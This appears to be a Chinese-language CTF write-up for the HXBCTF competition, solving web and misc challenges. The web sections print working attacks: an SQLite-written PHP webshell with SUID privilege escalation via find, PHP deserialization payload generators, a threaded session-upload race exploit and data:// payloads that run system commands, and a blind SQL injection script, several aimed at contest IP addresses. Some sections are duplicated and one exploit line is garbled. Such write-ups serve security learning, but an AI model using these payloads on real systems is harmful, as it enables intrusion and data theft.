web
welcome to 海啸杯
查看源代码,拿到flag。
HXBCTF{welcome _to_HXB}
极客邀请函
考点:SQLite get shell、SUID提权
查看网页源码,看到注释里的PHP代码
<?php
class MyDB extends SQLite3
{
function __construct()
{
$this->open('./test.db');
}
}
$db = new MyDB();
if(!$db){
echo $db->lastErrorMsg();
} else {
echo "Opened database successfully\n";
}
if($POST["cmd"]!=NULL)
{
if(strpos($POST["cmd"],'system')!==false){
echo 'HACK不准哦 达咩 达咩哦';
}else{
echo '执行成功';
$db->exec($POST["cmd"]);*
}
}
?>
SQLite还可以生成任意后缀名的数据库文件
创建一个 shell.php 的数据库文件,新建一个名为 exp 的表,并在表中插入: <?php @eval($POST[1]); ?> ,即一句话木马
ATTACH DATABASE 'shell.php' AS hxbctf; create TABLE hxbctf.exp (dataz text);
insert INTO hxbctf.exp (dataz) VALUES ('<?php eval($_POST["cmd"])?>');
用蚁剑连接:
发现flag在/tmp目录下,但没有权限查看,使用suid提权
利用find找到有SUID权限
find / -user root -perm -4000 -exec ls -ldb {} \;
find文件所属者和所属组都为root用户,使用find命令可以执行其它的系统命令,因此可以使用find命
令运行whoami查看当前用户
find 1 -exec whoami \;
使用find获取flag
find 1 -exec cat /tmp/flag \;![在这里插入图片描述](https://img-blog.csdnimg.cn/a3da5e5799ce4a73b0dd3fc81a2758ad.png)
参考文章:
https://blog.csdn.net/weixin_39430198/article/details/123504153
infant_serialize
Atuhor:eeknight
考点:PHP反序列化原生类利用、wakeup绕过
题目描述:反了反了
<?php
header("Content-Type: text/html; charset=utf-8");
error_reporting(0);
class dalao{
public $class;
public $para;
public $check;
public $status="heike";
public function __construct()
{
$this->class = "hunzi";
$this->para = "luansha";
echo new $this->class ($this->para);
}
public function __wakeup() {
$this->status="dalao";
}
public function __destruct()
{
if($this->status!="dalao"){
$this->check = new jingcha;
if($this->check->filter($this->para) && $this->check->filter($this->class)) {
echo new $this->class ($this->para);
}
else
die('有黑客,抓起来!!!!');
}
else
die("欢迎大佬!!!!!!!");
}
}
class hunzi{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class jingcha{
function filter($code){
$pattern = '/[|\'*|=|"|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}
if(isset($_GET['dalao'])){
unserialize(base64_decode($_GET['dalao']));
}
else{
highlight_file(__FILE__);
}
遍历得到flag名字 ,使用原生类FilesystemIterator。
<?php
class dalao{
public $class='FilesystemIterator';
public $para="/var/www/html";
public $check;
}
$zh = new dalao();
$zh= serialize($zh);
$zh = str_replace(':3:',':4:',$zh);
echo base64_encode($zh);
得到42177812215a92ea1ad9b7d61a1787e8.php,即为flag所在的文件,
接着读取,使用原生类SplFileObject:
<?php
class dalao{
public $class='SplFileObject';
public $para="/var/www/html/42177812215a92ea1ad9b7d61a1787e8.php";
public $check;
}
$zh = new dalao();
$zh= serialize($zh);
$zh = str_replace(':3:',':4:',$zh);
echo base64_encode($zh);
小小web
考点:md5绕过、伪协议
<?php
highlight_file(__FILE__);
function random(){
$a = rand(188,34)*34;
$b = rand(13,9);
return $a+$b;
}
$r = random();
if((string)$_GET['a']==(string)md5($_GET['b'])){
$a=$_GET['a'];
$b=md5($_GET['b']);
if($a.$r == $b){
echo "yes"."\n";
if(preg_match('/php|file|\/\/|sftp|http|https|gopher/is', $_GET['c'])){
die("hack");
}
else{
$c = file_get_contents($_GET['c']);
eval($c);
}
}
}
$r = random();if((string)$_GET['a']==(string)md5($_GET['b'])){ $a=$_GET['a']; $b=md5($_GET['b']); if($a.$r == $b){
有一个random方法,返回的是一个随机数,在这道题中,不需要清楚返回的是什么内容,我们只要知道返回的是一串数字就可以了。传入两个参数a和b,要求传入的是字符串,b会经过md5加密。最后要让 a . a. a.r == b 。因为是弱类型比较,且只能传入字符串,想要的是两个 0 e 开头的字符串进行比较,因为 b。因为是弱类型比较,且只能传入字符串,想要的是两个0e开头的字符串进行比较,因为 b。因为是弱类型比较,且只能传入字符串,想要的是两个0e开头的字符串进行比较,因为b是参数b经过md5加密而来,所以我们传入md5加密后是0e开头的字符串即可。
构造a,b如下
?a=0e123221&b=s1502113478a&c=/var/www/html/flag.PHP%0a
$c = file_get_contents($_GET['c']); eval($c);
刚开始以为直接将路径传给c,eval输出flag。。。
后来发现正则绕不过去,/is 匹配所有字符及换行符。
联想到题目 你就爆吧你。。应该是
第一种解法:
PHP_SESSION_UPLOAD_PROGRESS文件包含利用
的知识点了来绕过。文件竞争命令执行拿flag。
上传一个自定义的内容临时文件,传入eval,进行rec即可。
exp:
import io
import requests
import threading
import time
def poc(session):
global event<?=
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://121.37.24.208:63738/?a=0e11&b=s1502113478a&cmd=system("cat%20/var/www/html/42177812215a92ea1ad9b7d61a1787e8.php");&c=/tmp/sess_bbbbbbb', data={'PHP_SESSION_UPLOAD_PROGRESS': ' ?><?php echo 44*44;eval($_GET[cmd]);echo 44*44;?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': 'bbbbbbb'} )
while resp.status_code==429:
time.sleep(0.3)
resp = session.post( 'http://121.37.24.208:63738/?a=0e11&b=s1502113478a&cmd=system("cat%20/var/www/html/42177812215a92ea1ad9b7d61a1787e8.php");&c=/tmp/sess_bbbbbbb', data={'PHP_SESSION_UPLOAD_PROGRESS': ' ?><?php echo 44*44;eval($_GET[cmd]);echo 44*44;?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': 'bbbbbbb'} )
print(resp.text[resp.text.find('</code>yes'):])
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=poc,args=(session,)).start()
运行得到flag。
第二种:
data协议data:text/plain file_get_contents拼接伪协议
虽然过滤了//,但是data:text/plain也可以用。
c3lzdGVtKCJscyIpOw== //system("ls");base64编码查看目录
?a=0e123221&b=s1502113478a&c=data:text/plain;base64,c3lzdGVtKCJscyIpOw==;
发现42177812215a92ea1ad9b7d61a1787e8.php
读取flag:
system("cat /var/www/html/42177812215a92ea1ad9b7d61a1787e8.php");
注意 ;不要漏掉
base加密为:
c3lzdGVtKCJjYXQgL3Zhci93d3cvaHRtbC80MjE3NzgxMjIxNWE5MmVhMWFkOWI3ZDYxYTE3ODdlOC5waHAiKTs=
?a=0e123221&b=s1502113478a&c=data:text/plain;base64,c3lzdGVtKCJjYXQgL3Zhci93d3cvaHRtbC80MjE3NzgxMjIxNWE5MmVhMWFkOWI3ZDYxYTE3ODdlOC5waHAiKTs=;
扫一扫
信息泄露,disrearch扫描发现有www.zip,直接打开失败,拖到010拿到flag。
HXBCTF{message_leak_is_dangerous!}
happy_sql
sql,盲注脚本编写。
import re
import requests
url="http://121.37.24.208:58125/"
flag=""
i=0
while True:
small=32
big=127
i=i+1
while small<big:
mid=small+big>>1
data = {
'height':f"0 or (select case when ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)) > {mid} then 1 else 0 end)"}
# 'height':f"0 or (select case when ord(mid((select flag from happy_sql),{i},1)) > {mid} then 1 else 0 end)"
r=requests.post(url,data=data)
if 'img/duochidian.jpg' in r.text:
small=mid+1
else:
big =mid
if(re.search("}",flag)):
break
else:
print(chr(small))
flag+=chr(small)
print(flag)
misc
套娃
码多次base,知道是base16、base32、base64,根据它们的字符集,写个脚本逐层解码
脚本破解即可:
import base64
with open("Base套娃.txt", "r") as f:
r = f.read()
while True:
try:
r = base64.b16decode(r)
print("base16")
except:
try:
r = base64.b32decode(r)
print("base32")
except:
try:
r = base64.b64decode(r)
print("base64")
except:
pass
if b"hxbctf" in r:
print(r)
break
藏在云朵的二维码
Stegsolve 文件合成,发现有个二维码,接着就选择较为清晰的两张图疯狂合成,使得二维码清楚一点,最后扫描即可拿到flag。
新时代保安
Stegsolve 选择不同的通道查看,即可拿到flag:
我的银行卡密码是:xxxx
使用archpr.exe对压缩包密码进行爆破,得出是987654。
解压得到一张图片:
也是放到Stegsolve ,选择不同的通道,lsb隐写 查找得到flag。
藏在云朵的二维码
Stegsolve 文件合成,发现有个二维码,接着就选择较为清晰的两张图疯狂合成,使得二维码清楚一点,最后扫描即可拿到flag。
新时代保安
Stegsolve 选择不同的通道查看,即可拿到flag: